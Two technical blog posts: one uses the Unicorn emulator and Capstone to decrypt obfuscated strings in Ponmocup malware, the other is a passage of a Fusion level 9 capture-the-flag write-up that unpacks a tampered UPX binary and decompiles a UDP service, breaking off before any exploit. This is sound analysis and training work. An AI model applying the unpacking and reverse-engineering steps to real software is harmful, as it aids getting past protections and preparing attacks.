Unicorn VS. Malware

Intro

It has bin a while since my last post so I figured it’s time to write something. Recently I Stumbled on a piece of malware called Ponmocup which is a interesting strain of malware, but since there is plenty written about it I wont go into it’s details. While analyzing the malware I noticed that all the strings it uses are encrypted and decrypted at runtime. The decryption loops are all over the code(inline) and it seems to use various methodes to decrypt the strings, where other malware use the same routine/algorithm most the time since programmers are lazy(fact!). Normally I would make a IDA script to decrypt them but this time I choose a different approach by using the Unicorn emulator.

String decryption loop

1000B7C1   > \B9 30897B61              MOV ECX,617B8930
1000B7C6   .  898D 90F1FFFF            MOV DWORD PTR SS:[EBP-E70],ECX
1000B7CC   .  33C0                     XOR EAX,EAX
1000B7CE   >  8985 88F1FFFF            MOV DWORD PTR SS:[EBP-E78],EAX
1000B7D4   .  83F8 1D                  CMP EAX,1D
1000B7D7   .  73 1E                    JNB SHORT 1100_300.1000B7F7
1000B7D9   .  81C1 5F6BA82E            ADD ECX,2EA86B5F
1000B7DF   .  898D 90F1FFFF            MOV DWORD PTR SS:[EBP-E70],ECX
1000B7E5   .  33D2                     XOR EDX,EDX
1000B7E7   .  8A1445 14070110          MOV DL,BYTE PTR DS:[EAX*2+10010714]
1000B7EE   .  03D1                     ADD EDX,ECX
1000B7F0   .  885405 C4                MOV BYTE PTR SS:[EBP+EAX-3C],DL
1000B7F4   .  40                       INC EAX
1000B7F5   .^ EB D7                    JMP SHORT 1100_300.1000B7CE

This is an sample snippet of such decryption loop, it has a pretty simple code flow where some registers are initialized at the beginning, it then enters a loop based on a unconditional jump upwards and having a conditional jump to leave the loop. The encrypted data is loaded from 10010714.

Concept
So the idea is to use the Capstone disassembler library to analyze the decryption loop starting from a given Virtual address and locating the first unconditional jump backwards and also keeping track of write operations where a EBP base register is used, whenever such instruction is found we log the displacement value(offset to stack) which helps us to locate the decrypted string later.
Once we traced to code with the disassembler library we map the target binary into memory at it’s known imagebase and copy each section to memory so virtual addresses in the binary match up with whats in memory.

Code analyzer

def code_analyzer(pe, virtualaddress, max_instructions=128):
	# get the raw offset from the virtualaddress
	a_off = pe.get_offset_from_rva(virtualaddress - pe.OPTIONAL_HEADER.ImageBase)
	# init disassembler lib
	caps = Cs(CS_ARCH_X86, CS_MODE_32)
	caps.detail = True
	# init vars
	code_len = 0
	stack_offsets = []
	jmpfound = False
	# disassemble code and analyze the instructions
	for ins in caps.disasm(pe.__data__[a_off:], virtualaddress, max_instructions):
		
		# increase code_len with current instruction size
		code_len += ins.size
		if verbose:
			print format_disasembly(ins)
		
		# process operands
		if ins.operands:
			for ops in ins.operands:
				# memory access operands
				if ops.type == X86_OP_MEM:
					# ebp base register and disp value not 0
					if ops.value.mem.base == X86_REG_EBP and ops.value.mem.disp != 0:
						disp = abs(ops.value.mem.disp)
						# add new disp value
						if disp not in stack_offsets:
							stack_offsets.append(disp)
		# process groups
		if ins.groups:
			# jump types
			if ins.group(CS_GRP_JUMP):
				# JMP backwards
				if ins.id == X86_INS_JMP and int(ins.op_str, 16) < ins.address:
					jmpfound = True
					break
			
			# return types
			elif ins.group(CS_GRP_RET):
				break
	
	# false if max instructions reached
	if not jmpfound:
		print "End decryption loop not found"
		return 0,[]

	# paranoid mode
	if len(stack_offsets) == 0:
		print "No stack offsets found"
		return 0,[]

	# ...
	for offset in stack_offsets:
		if offset > stacksize:
			print "Stack offset 0x%08x is larger then the stacksize 0x%08x" %(offset, stacksize)
			return 0,[]

	# return code length and stackoffsets sorted descending
	return code_len, sorted(stack_offsets, reverse=True)

This code returns the amount of bytes of all instructions till the jmp and a list with all displacement values where a EBP register was involved eq. MOV DWORD PTR SS:[EBP-E78],EAX

Emulator

# Initialize emulator
emu = Uc(UC_ARCH_X86, UC_MODE_32)

# map memory at the imagebase and copy each section
# data to it's virtualaddress
emu.mem_map(imagebase, imagesize + stacksize)
for section in pe.sections:
	emu.mem_write(imagebase + section.VirtualAddress, section.get_data())

# initialize stack registers ebp and esp
emu.reg_write(UC_X86_REG_ESP, stackaddress + stacksize)
emu.reg_write(UC_X86_REG_EBP, stackaddress + stacksize)

# start emulator
emu.emu_start(virtualaddress, virtualaddress + code_len)

# use the largest stack_offset value to define the min.
# ammount of stack data to read
ebp_addr = stackaddress + stacksize - stack_offsets[0]

# read stack memory, largest stack_offset as size
data = emu.mem_read(ebp_addr, stack_offsets[0])

The next code snippet maps the target binary into memory as explained earlier, it set’s up some stack memory and registers and then starts the emulator and once done it reads the stack memory and processes it by trying to locate strings at the known displacement offsets.

Some results

C:\>pomno_decrstr.py 1100.3002.dll 0x1000b7c1
1000B7C1  B930897B61            mov ecx, 0x617b8930
1000B7C6  898D90F1FFFF          mov dword ptr [ebp - 0xe70], ecx
1000B7CC  33C0                  xor eax, eax
1000B7CE  898588F1FFFF          mov dword ptr [ebp - 0xe78], eax
1000B7D4  83F81D                cmp eax, 0x1d
1000B7D7  731E                  jae 0x1000b7f7
1000B7D9  81C15F6BA82E          add ecx, 0x2ea86b5f
1000B7DF  898D90F1FFFF          mov dword ptr [ebp - 0xe70], ecx
1000B7E5  33D2                  xor edx, edx
1000B7E7  8A144514070110        mov dl, byte ptr [eax*2 + 0x10010714]
1000B7EE  03D1                  add edx, ecx
1000B7F0  885405C4              mov byte ptr [ebp + eax - 0x3c], dl
1000B7F4  40                    inc eax
1000B7F5  EBD7                  jmp 0x1000b7ce
offset   type   length   content
================================
00003c   ASCII      29   %u.%u.%u.%u.%u.%u.%u.%u.%s.%i

C:\>pomno_decrstr.py 1100.3002.dll 0x1000b547
1000B547  BA0F000000            mov edx, 0xf
1000B54C  899520E8FFFF          mov dword ptr [ebp - 0x17e0], edx
1000B552  B8EB000000            mov eax, 0xeb
1000B557  898524E8FFFF          mov dword ptr [ebp - 0x17dc], eax
1000B55D  B9E5000000            mov ecx, 0xe5
1000B562  898D28E8FFFF          mov dword ptr [ebp - 0x17d8], ecx
1000B568  898D2CE8FFFF          mov dword ptr [ebp - 0x17d4], ecx
1000B56E  C78530E8FFFF19000000  mov dword ptr [ebp - 0x17d0], 0x19
1000B578  C78534E8FFFF23000000  mov dword ptr [ebp - 0x17cc], 0x23
1000B582  C78538E8FFFFE1000000  mov dword ptr [ebp - 0x17c8], 0xe1
1000B58C  89853CE8FFFF          mov dword ptr [ebp - 0x17c4], eax
1000B592  C78540E8FFFFEA000000  mov dword ptr [ebp - 0x17c0], 0xea
1000B59C  898544E8FFFF          mov dword ptr [ebp - 0x17bc], eax
1000B5A2  C78548E8FFFFA1000000  mov dword ptr [ebp - 0x17b8], 0xa1
1000B5AC  89854CE8FFFF          mov dword ptr [ebp - 0x17b4], eax
1000B5B2  C78550E8FFFFE6000000  mov dword ptr [ebp - 0x17b0], 0xe6
1000B5BC  C78554E8FFFF2F000000  mov dword ptr [ebp - 0x17ac], 0x2f
1000B5C6  C78558E8FFFFF3000000  mov dword ptr [ebp - 0x17a8], 0xf3
1000B5D0  C7855CE8FFFFDE000000  mov dword ptr [ebp - 0x17a4], 0xde
1000B5DA  B848840000            mov eax, 0x8448
1000B5DF  898560E8FFFF          mov dword ptr [ebp - 0x17a0], eax
1000B5E5  32C9                  xor cl, cl
1000B5E7  888D9EE8FFFF          mov byte ptr [ebp - 0x1762], cl
1000B5ED  899518E8FFFF          mov dword ptr [ebp - 0x17e8], edx
1000B5F3  3ACA                  cmp cl, dl
1000B5F5  732F                  jae 0x1000b626
1000B5F7  0FB7C0                movzx eax, ax
1000B5FA  8BF0                  mov esi, eax
1000B5FC  C1EE04                shr esi, 4
1000B5FF  C1E00C                shl eax, 0xc
1000B602  0BC6                  or eax, esi
1000B604  898560E8FFFF          mov dword ptr [ebp - 0x17a0], eax
1000B60A  0FB6F1                movzx esi, cl
1000B60D  33DB                  xor ebx, ebx
1000B60F  8A9CB524E8FFFF        mov bl, byte ptr [ebp + esi*4 - 0x17dc]
1000B616  03D8                  add ebx, eax
1000B618  885C35D4              mov byte ptr [ebp + esi - 0x2c], bl
1000B61C  FEC1                  inc cl
1000B61E  888D9EE8FFFF          mov byte ptr [ebp - 0x1762], cl
1000B624  EBCD                  jmp 0x1000b5f3
offset   type   length   content
================================
00002c   ASCII      15   /images2/%s.swf

C:\>pomno_decrstr.py 1100.3002.dll 0x1000b20d
1000B20D  C685A7E8FFFF1C        mov byte ptr [ebp - 0x1759], 0x1c
1000B214  33C9                  xor ecx, ecx
1000B216  898D74E8FFFF          mov dword ptr [ebp - 0x178c], ecx
1000B21C  BF3F000000            mov edi, 0x3f
1000B221  89BD14E8FFFF          mov dword ptr [ebp - 0x17ec], edi
1000B227  0FBFC7                movsx eax, di
1000B22A  3BC8                  cmp ecx, eax
1000B22C  7D36                  jge 0x1000b264
1000B22E  0FB685A7E8FFFF        movzx eax, byte ptr [ebp - 0x1759]
1000B235  8BD0                  mov edx, eax
1000B237  C1EA02                shr edx, 2
1000B23A  C1E006                shl eax, 6
1000B23D  33D0                  xor edx, eax
1000B23F  33C0                  xor eax, eax
1000B241  8AC2                  mov al, dl
1000B243  8885A7E8FFFF          mov byte ptr [ebp - 0x1759], al
1000B249  33D2                  xor edx, edx
1000B24B  8A144D60C40010        mov dl, byte ptr [ecx*2 + 0x1000c460]
1000B252  2BD0                  sub edx, eax
1000B254  88940D44FFFFFF        mov byte ptr [ebp + ecx - 0xbc], dl
1000B25B  41                    inc ecx
1000B25C  898D74E8FFFF          mov dword ptr [ebp - 0x178c], ecx
1000B262  EBC3                  jmp 0x1000b227
offset   type   length   content
================================
0000bc   ASCII      62   %u&%04X&%02X&%u.%u&%u&%s&%s&%u.%u&%u&%x.%x.%x&%s&%04x.%04x&%s&

C:\>pomno_decrstr.py 1100.3002.dll 0x1000afe5
1000AFE5  B9B8690000            mov ecx, 0x69b8
1000AFEA  894D84                mov dword ptr [ebp - 0x7c], ecx
1000AFED  32C0                  xor al, al
1000AFEF  8845A7                mov byte ptr [ebp - 0x59], al
1000AFF2  3C39                  cmp al, 0x39
1000AFF4  7326                  jae 0x1000b01c
1000AFF6  0FB7C9                movzx ecx, cx
1000AFF9  8BD1                  mov edx, ecx
1000AFFB  C1EA0E                shr edx, 0xe
1000AFFE  C1E102                shl ecx, 2
1000B001  0BCA                  or ecx, edx
1000B003  894D84                mov dword ptr [ebp - 0x7c], ecx
1000B006  0FB6F0                movzx esi, al
1000B009  33D2                  xor edx, edx
1000B00B  8A14B530060110        mov dl, byte ptr [esi*4 + 0x10010630]
1000B012  03D1                  add edx, ecx
1000B014  885435A8              mov byte ptr [ebp + esi - 0x58], dl
1000B018  FEC0                  inc al
1000B01A  EBD3                  jmp 0x1000afef
offset   type   length   content
================================
000058   ASCII      57   Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)

C:\>pomno_decrstr.py 1100.3002.dll 0x1000ae47
1000AE47  B8BF1293F9            mov eax, 0xf99312bf
1000AE4C  8945AC                mov dword ptr [ebp - 0x54], eax
1000AE4F  32C9                  xor cl, cl
1000AE51  884DBE                mov byte ptr [ebp - 0x42], cl
1000AE54  33D2                  xor edx, edx
1000AE56  8A150C060110          mov dl, byte ptr [0x1001060c]
1000AE5C  81F2BF000000          xor edx, 0xbf
1000AE62  8855BF                mov byte ptr [ebp - 0x41], dl
1000AE65  3ACA                  cmp cl, dl
1000AE67  7329                  jae 0x1000ae92
1000AE69  8BD0                  mov edx, eax
1000AE6B  C1EA19                shr edx, 0x19
1000AE6E  C1E007                shl eax, 7
1000AE71  0BC2                  or eax, edx
1000AE73  8945AC                mov dword ptr [ebp - 0x54], eax
1000AE76  0FB6F9                movzx edi, cl
1000AE79  33D2                  xor edx, edx
1000AE7B  8A147D0E060110        mov dl, byte ptr [edi*2 + 0x1001060e]
1000AE82  33D0                  xor edx, eax
1000AE84  88543DC0              mov byte ptr [ebp + edi - 0x40], dl
1000AE88  FEC1                  inc cl
1000AE8A  884DBE                mov byte ptr [ebp - 0x42], cl
1000AE8D  8A55BF                mov dl, byte ptr [ebp - 0x41]
1000AE90  EBD3                  jmp 0x1000ae65
offset   type   length   content
================================
000040   ASCII      16   jAhX4n4xQfx8p9P3

I coudnt find a unicode sample, but those are handled aswell(dont mind my string lookup code, it sucks, I know)

Finally
I fell in love with the Unicorn emulator library, I tried a few other in the past and this one is by far the best out there currently. This malware sample was a simple example of the usage of such emulator in a rather simple way to reach your goals.

The full script can he found here

Advertisements

SOLVING FUSION LEVEL 9

Intro
Fusion’s level 9 is a packed executable that a creates UDP service listening on port 20009. The author hinted us that this challenge follows up on level 8 on how we could turn things completely into our favor, so lets see.

Unpacking
In order to analyze the executable we would like to unpack it. From a quick look at the code we can tell it’s packed with UPX, a common known PE/ELF/… packer. The commandline UPX tool has a -d option to decompress files but when trying to unpack the executable with it we get a warning message that our executable isn’t packed with UPX

h4x@kali:~/training/fusion/lvl9$ upx -d level09
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: level09: NotPackedException: not packed by UPX

Unpacked 0 files.

So whats going on? Well normally a UPX packed executable has a few ‘UPX!’ tags in the binary which are checked by the UPX packer when unpacking the file(with the -d option). When these tags are missing the packer thinks it’s not a UPX file.

Example of a UPX compressed bash and sh:

h4x@kali:~/training/fusion/lvl9$ hexdump -C bash | grep UPX!
00000070  00 10 00 00 86 b7 80 9b  55 50 58 21 24 08 0d 0c  |........UPX!$...|
00064720  e8 ed 7b ff 1f 22 13 81  f9 55 50 58 21 75 0f 83  |..{.."...UPX!u..|
00064d90  00 00 00 00 55 50 58 21  00 00 00 00 55 50 58 21  |....UPX!....UPX!|
h4x@kali:~/training/fusion/lvl9$ hexdump -C sh | grep UPX!
00000070  00 10 00 00 01 b3 d3 2c  55 50 58 21 04 08 0d 0c  |.......,UPX!....|
0000b6e0  91 13 81 f9 55 50 58 21  75 0f 83 3e 29 7f c0 b6  |....UPX!u..>)...|
0000bd10  00 00 00 55 50 58 21 00  00 00 00 00 55 50 58 21  |...UPX!.....UPX!|

level09 doesn’t have any:

h4x@kali:~/training/fusion/lvl9$ hexdump -C level09 | grep UPX!
h4x@kali:~/training/fusion/lvl9$ 

When I compared sh and level09 with hexdump I also noticed something else. It seems that the level09 executable has a extra ELF header of 0x1000 bytes.

sh:

00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  f8 c2 c0 00 34 00 00 00  |............4...|
00000020  00 00 00 00 00 00 00 00  34 00 20 00 02 00 28 00  |........4. ...(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 10 c0 00  |................|
00000040  00 10 c0 00 ee ba 00 00  ee ba 00 00 05 00 00 00  |................|
00000050  00 10 00 00 01 00 00 00  94 0e 00 00 94 2e 06 08  |................|
00000060  94 2e 06 08 00 00 00 00  00 00 00 00 06 00 00 00  |................|
00000070  00 10 00 00 01 b3 d3 2c  55 50 58 21 04 08 0d 0c  |.......,UPX!....|
00000080  00 00 00 00 04 7c 01 00  04 7c 01 00 34 01 00 00  |.....|...|..4...|
00000090  ab 00 00 00 02 00 00 00  7f 3f 64 f9 7f 45 4c 46  |.........?d..ELF|

level09:

00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  08 66 c0 00 34 00 00 00  |.........f..4...|
00000020  00 00 00 00 00 00 00 00  34 00 20 00 03 00 28 00  |........4. ...(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 00 c0 00  |................|
00000040  00 00 c0 00 e4 6d 00 00  e4 6d 00 00 05 00 00 00  |.....m...m......|
00000050  00 10 00 00 01 00 00 00  20 13 00 00 20 33 06 08  |........ ... 3..|
00000060  20 33 06 08 00 00 00 00  00 00 00 00 06 00 00 00  | 3..............|
00000070  00 10 00 00 51 e5 74 64  00 00 00 00 00 00 00 00  |....Q.td........|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 06 00 00 00  |................|
00000090  04 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00001010  02 00 03 00 01 00 00 00  08 66 c0 00 34 00 00 00  |.........f..4...|
00001020  00 00 00 00 00 00 00 00  34 00 20 00 02 00 28 00  |........4. ...(.|
00001030  00 00 00 00 01 00 00 00  00 00 00 00 00 10 c0 00  |................|
00001040  00 10 c0 00 e4 5d 00 00  e4 5d 00 00 05 00 00 00  |.....]...]......|
00001050  00 10 00 00 01 00 00 00  20 03 00 00 20 33 06 08  |........ ... 3..|
00001060  20 33 06 08 00 00 00 00  00 00 00 00 06 00 00 00  | 3..............|
00001070  00 10 00 00 5e 9c 69 d6  67 53 38 78 da 07 0d 0c  |....^.i.gS8x....|
00001080  00 00 00 00 14 a3 01 00  14 a3 01 00 34 01 00 00  |............4...|
00001090  99 00 00 00 02 00 00 00  7f 3f 64 f9 7f 45 4c 46  |.........?d..ELF|

So for UPX to be able to unpack the file we need to strip the extra ELF header and fix the UPX! tags. By comparing the byte patterns around the tags from the sh executable I kinda figured out where the tags where located and it seemed that they where just renamed instead of zero’s out.

00001000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............| <-- org. ELF header(UPX stub)
*
00001070  00 10 00 00 5e 9c 69 d6  67 53 38 78 da 07 0d 0c  |....^.i.gS8x....| <-- edited UPX! tag : 67 53 38 78
*
000065f0  90 00 00 ff 00 00 00 00  67 43 34 6c 00 00 00 00  |........gC4l....| <-- edited UPX! tag : 67 43 34 6c
*
000069f0  91 13 81 f9 62 54 37 6a  75 0f 83 3e 29 7f c0 b6  |....bT7ju..>)...| <-- edited UPX! tag : 62 54 37 6a
*
00006de0  00 ff 00 00 70 4e 37 6a  0d 0c 02 08 df 39 9d a2  |....pN7j.....9..| <-- edited UPX! tag : 70 4e 37 6a

You could spot a bit of a pattern in the tag names as they are all lowercase-uppercase-numeric-lowercase.

I wrote a python script to strip the extra ELF header and restore the UPX! tags.

#!/usr/bin/env python
import sys

def main(srcFilename):
	f = open(srcFilename, 'rb')
	# skip the dummy ELF header
	f.seek(0x1000)
	bindata = f.read()
	f.close()
	# restore the tags
	bindata = bindata.replace('gS8x','UPX!')
	bindata = bindata.replace('gC4l','UPX!')
	bindata = bindata.replace('bT7j','UPX!')
	bindata = bindata.replace('pN7j','UPX!')
	# save patched data
	f = open(srcFilename+'_patched', 'wb')
	f.write(bindata)
	f.close()
	print 'Patched file created'

if __name__ == '__main__':
	main(sys.argv[1])

Running the script against level09 produced a level09_patched file and when trying to unpack it with UPX it now worked.

h4x@kali:~/training/fusion/lvl9$ ./upx_patch.py level09
Patched file created
h4x@kali:~/training/fusion/lvl9$ upx -d level09_patched 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    107284 <-     24072   22.44%  netbsd/elf386  level09_patched

Unpacked 1 file.
h4x@kali:~/training/fusion/lvl9$ file level09_patched 
level09_patched: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.15, dynamically linked (uses shared libs), corrupted section header size

Analyzing the executable
So once we have a clean unpacked executable we could start analyzing it using IDA. I tried to decompile and clean as much of the code as possible…

/*
pseudo core structure
*/
struct struct_core
{
  _DWORD jmptable_index;
  int p_pbuf1;
  int pbuf1_end;
  int field_C;
  int fdsock;
  struct sockaddr sock_addr;
  int field_24;
  int field_28;
  int field_2C;
  int field_30;
  int field_34;
  int field_38;
  int field_3C;
  int field_40;
  int field_44;
  int field_48;
  int field_4C;
  int field_50;
  int field_54;
  int field_58;
  int field_5C;
  int field_60;
  int field_64;
  int field_68;
  int field_6C;
  int field_70;
  int field_74;
  int field_78;
  int field_7C;
  int field_80;
  int field_84;
  int field_88;
  int field_8C;
  int field_90;
  socklen_t sock_len;
  char *pbuf1;
  int pbuf1_size;
  int bytesrecvd;
  char *pbuf2;
  _DWORD pbuf2_pos;
  int pbuf2_size;
  int feof;
  int field_B4;
  __int16 field_B8;
  __int16 field_BA;
  char *qrystr;
};

/*
Main routine
*/
void __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int fdsock; // esi@1
  int v4; // ecx@6
  struct_core *sCore; // eax@9 MAPDST
  int v7; // edx@9
  int bytesrecvd; // eax@9
  struct addrinfo req; // [sp+0h] [bp-58h]@1
  pthread_t newthread; // [sp+20h] [bp-38h]@2
  struct addrinfo *_addrinfo; // [sp+24h] [bp-34h]@1
  int optval; // [sp+28h] [bp-30h]@3
  char s[16]; // [sp+2Ch] [bp-2Ch]@1
  int canary; // [sp+3Ch] [bp-1Ch]@1
  int *v15; // [sp+4Ch] [bp-Ch]@1

  v15 = &argc;
  canary = v14;
  /*
  Lower privileges and daemonize
  */
  backgroundprocess();
  memset(&req, 0, sizeof(req));
  req.ai_family = AF_INET6;
  req.ai_socktype = SOCK_DGRAM;
  req.ai_flags = 1;
  sprintf(s, "%d", 20009);
  getaddrinfo(0, s, &req, &_addrinfo);
  /*
  Setup the UDP bind socket
  */
  fdsock = socket(_addrinfo->ai_family, _addrinfo->ai_socktype, _addrinfo->ai_protocol);
  if ( fdsock == -1 )
  {
    req.ai_flags = (int)&newthread;
    errx(1, "get_udp6_server_socket socket");
  }
  
  optval = 1;
  if ( setsockopt(fdsock, SOL_SOCKET, 2, &optval, 4u) == -1 )
  {
    req.ai_flags = fdsock;
    errx(1, "get_udp6_server_socket setsockopt");
  }
  
  req.ai_flags = (int)&req;
  if ( bind(fdsock, _addrinfo->ai_addr, _addrinfo->ai_addrlen) == -1 )
  {
    req.ai_flags = v4;
    errx(1, "get_udp6_server_socket bind");
  }
  
  freeaddrinfo(_addrinfo);
  /*
  Read / process data loop
  */
  while ( 1 )
  {
  	/*
  	Create a new struct_core structure
  	*/
    sCore = initCoreStruct();
    sCore->fdsock = fdsock;
    req.ai_flags = v7;
    /*
    Recieve max 4096 bytes from the socket into 'sCore->pbuf1'
    */
    bytesrecvd = recvfrom(fdsock, sCore->pbuf1, 4096u, 0, &sCore->sock_addr, &sCore->sock_len);
    if ( bytesrecvd == -1 )
      break;
    sCore->bytesrecvd = bytesrecvd;
    /*
    Create a 'start_routine' thread and pass the struct_core structure
    */
    if ( pthread_create(&newthread, 0, (void *(*)(void *))start_routine, sCore) )
    {
      req.ai_flags = fdsock;
      errx(1, "pthread_create");
    }
  }
  req.ai_flags = (int)&newthread;
  errx(1, "recvfrom");
}

/*
struct_core creation and setup
*/
struct_core *__cdecl initCoreStruct()
{
  struct_core *sCore; // ebx@1

  /*
  Allocate mem for the structure
  */
  sCore = (struct_core *)calloc(192u, 1u);
  if ( sCore )
  {
  	/*
  	Allocate 2 x 4096 bytes and assign them to pbuf1 and pbuf2.
  	Assign pbuf1_size and pbuf2_size (size of mem allocated)
  	set jmptable_index to 1
  	*/
    sCore->pbuf1 = (char *)mmap(0, 4096u, PROT_WRITE|PROT_READ, 0x22, 0, 0);
    sCore->pbuf1_size = 4096;
    sCore->pbuf2_size = 4096;
    sCore->jmptable_index = 1;
    sCore->pbuf2 = (char *)mmap(0, 4096u, PROT_WRITE|PROT_READ, 0x22, 0, 0);
  }
  return sCore;
}

/*
Threaded function
*/
void __cdecl start_routine(struct_core *sCore)
{
  start_processdata(sCore); // to big to decompile..
  start_freeBuffers(sCore);
}

/*
Free struct_core structure and it's data
*/
void __cdecl start_freeBuffers(struct_core *sCore)
{
  char *p; // eax@2

  if ( sCore )
  {
  	/*
  	Free pbuf1 and pbuf3
  	*/
    p = sCore->pbuf1;
    if ( p )
      munmap(p, 4096u);
    p = sCore->pbuf2;
    if ( p )
      munmap(p, 4096u);
  	/*
  	Free structure
  	*/
    free(sCore);
  }
}

So looking at the main code we see it creates a UDP bind socket and then enters a loop where it creates a struct_core structure, then receives data(max. 4096 bytes) from the socket into pbuf1 and finally creates a start_routine thread passing the core structure as it’s argument.

Within the start_routine function the start_processdata function is called. IDA crashed badly when I tried to decompile this function because it’s freaking huge, the entire function is 97733 bytes in size! I tried to analyze the assembly as much a possible and it looked a bit like some state-machine or protocol. The code has a horrible jumpy code flow which makes it more tricky to analyze but basically it reads the bytes from our buffer, checks if they match a condition or range and chooses it’s execution path based on that. The first byte in our buffer should always be 0x1F.

LOAD:0804905D ; int __cdecl start_processdata(struct_core *)
LOAD:0804905D start_processdata proc near
LOAD:0804905D
LOAD:0804905D var_C0    = dword ptr -0C0h
LOAD:0804905D var_ptr4  = dword ptr -0BCh
LOAD:0804905D var_ptr3  = dword ptr -0B8h
LOAD:0804905D var_ptr2  = dword ptr -0B4h
LOAD:0804905D var_ptr1  = dword ptr -0B0h
LOAD:0804905D var_AC    = dword ptr -0ACh
LOAD:0804905D local_buf1= byte ptr -9Ch
LOAD:0804905D local_buf2= byte ptr -5Ch
LOAD:0804905D canary    = dword ptr -1Ch
LOAD:0804905D sCore     = dword ptr  8
LOAD:0804905D
...
LOAD:08049068           sub     esp, 0BCh
LOAD:0804906E           mov     ebx, [ebp+sCore]
LOAD:08049071           mov     eax, large gs:14h
LOAD:08049077           mov     [ebp+canary], eax
...
LOAD:0804907C           lea     edx, [ebp+local_buf1]
LOAD:08049082           mov     edi, edx
// struct_core.p_pbuf1 = struct_core.pbuf1
// struct_core.pbuf1_end = struct_core.pbuf1 + struct_core.bytesrecvd
// struct_core.field_C = struct_core.pbuf1 + struct_core.bytesrecvd
LOAD:08049084           mov     esi, [ebx+struct_core.pbuf1]
LOAD:0804908A           mov     eax, [ebx+struct_core.bytesrecvd]
LOAD:08049090           mov     [ebx+struct_core.p_pbuf1], esi
LOAD:08049093           add     eax, esi
LOAD:08049095           mov     [ebx+struct_core.pbuf1_end], eax
LOAD:08049098           mov     [ebx+struct_core.field_C], eax
LOAD:0804909B           xor     eax, eax
LOAD:0804909D           rep stosd
// if struct_core.pbuf1 == struct_core.pbuf1_end eq. end of data then exit
LOAD:0804909F           cmp     esi, [ebx+struct_core.pbuf1_end]
LOAD:080490A2           jz      l_ExitFunc
// struct_core.jmptable_index is setup at initCoreStruct and set to 1
LOAD:080490A8           mov     eax, [ebx+struct_core.jmptable_index]
LOAD:080490AA           dec     eax
LOAD:080490AB           cmp     eax, 220              ; switch 221 cases
LOAD:080490B0           ja      l_exit_case_default   ; jumptable 080490B6 default case
LOAD:080490B6           jmp     ds:jmptable[eax*4]    ; switch jump
LOAD:080490BD ; ---------------------------------------------------------------------------
LOAD:080490BD
LOAD:080490BD loc_80490BD:                            ; jumptable 080490B6 case 0
LOAD:080490BD           cmp     byte ptr [esi], 1Fh   ; must be 0x1F !
LOAD:080490C0           jz      short loc_80490CD     ; jmp if pbuf1[0] == 0x1f else exit
LOAD:080490C2
LOAD:080490C2 l_exit_case_212:                        ; jumptable 080490B6 case 212
LOAD:080490C2           mov     [ebx+struct_core.jmptable_index], 0
LOAD:080490C8           jmp     l_ExitFunc
LOAD:080490CD ; ---------------------------------------------------------------------------
LOAD:080490CD
LOAD:080490CD loc_80490CD:                            ; type
LOAD:080490CD           push    0F1h ; '±'
LOAD:080490D2           push    ebx                   ; sCore
LOAD:080490D3           call    core__Buf2SetType
LOAD:080490D8           pop     eax
LOAD:080490D9           mov     eax, [ebx+struct_core.p_pbuf1]
LOAD:080490DC           pop     edx
LOAD:080490DD           inc     eax                   ; inc p_pbuf1
LOAD:080490DE           cmp     eax, [ebx+struct_core.pbuf1_end]
LOAD:080490E1           mov     [ebx+struct_core.p_pbuf1], eax ; update p_pbuf1 pointer
LOAD:080490E4           jz      l_exit_case_default   ; jumptable 080490B6 default case
LOAD:080490EA
LOAD:080490EA loc_80490EA:                            ; jumptable 080490B6 case 1
LOAD:080490EA           mov     eax, [ebx+struct_core.p_pbuf1]
LOAD:080490ED           mov     al, [eax]             ; al = p_pbuf1[1]
LOAD:080490EF           cmp     al, 2Ah ; '*'
LOAD:080490F1           jz      loc_804974C           ; jmp if 0x2a
LOAD:080490F7           ja      short loc_804911A
LOAD:080490F9           cmp     al, 4
LOAD:080490FB           jz      loc_804944D
LOAD:08049101           ja      short loc_8049109
LOAD:08049103           cmp     al, 2
LOAD:08049105           jnz     short l_exit_case_212 ; jumptable 080490B6 case 212
LOAD:08049107           jmp     short loc_804913E
LOAD:08049109 ; ---------------------------------------------------------------------------
LOAD:08049109
LOAD:08049109 loc_8049109:
LOAD:08049109           cmp     al, 0Eh               ; p_pbuf1[1]
LOAD:0804910B           jz      l_0x0e                ; jmp if 0x0e
LOAD:08049111           cmp     al, 16h
LOAD:08049113           jnz     short l_exit_case_212 ; jumptable 080490B6 case 212
LOAD:08049115           jmp     loc_804922E
LOAD:0804911A ; ---------------------------------------------------------------------------
...

From looking at the code it seems we could reach certain functions which copy data from the structure’s pbuf1 to pbuf2 and also setting some sort of header byte(first byte of the data)

signed int __cdecl core::Buf2WriteData(struct_core *sCore, char *data, int datalen)
{
  signed int result; // eax@1
  int I; // edx@2
  char bsrc; // bl@4
  char *_pbuf2; // ecx@4

  result = (signed int)sCore;
  if ( !sCore->feof )
  {
    I = 0;
    if ( (unsigned int)(datalen + sCore->pbuf2_pos) < sCore->pbuf2_size )
    {
      while ( I != datalen )
      {
        bsrc = data[I];
        _pbuf2 = &sCore->pbuf2[I++];
        _pbuf2[sCore->pbuf2_pos] = bsrc;
      }
      sCore->pbuf2_pos += I;
      result = 0;
    }
    else
    {
      sCore->feof = 1;
      result = -1;
    }
  }
  return result;
}

int __cdecl core::Buf2SetType(struct_core *sCore, char type)
{
